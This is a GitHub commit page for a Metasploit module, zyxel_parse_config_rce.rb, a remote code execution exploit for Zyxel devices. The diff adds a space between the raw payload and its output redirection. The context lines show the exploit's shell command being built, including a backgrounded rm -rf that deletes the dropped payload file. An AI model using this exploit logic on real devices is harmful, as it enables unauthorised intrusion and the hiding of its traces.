Skip to content

Commit 1d602da

Browse files
committed
Added space between command and stderr/stout redirection
1 parent 9cfaa2e commit 1d602da

File tree

1 file changed

+1
-0
lines changed

1 file changed

+1
-0
lines changed

modules/exploits/linux/http/zyxel_parse_config_rce.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -112,6 +112,7 @@ def exploit
112112
payload_filepath = "#{datastore['WRITABLE_DIR']}/#{filename}.qsr"
113113

114114
command = payload.raw
115+
command += ' '
115116
command += <<~CMD
116117
2>/var/log/ztplog 1>/var/log/ztplog
117118
(sleep 10 && /bin/rm -rf #{payload_filepath}) &

0 commit comments

Comments
 (0)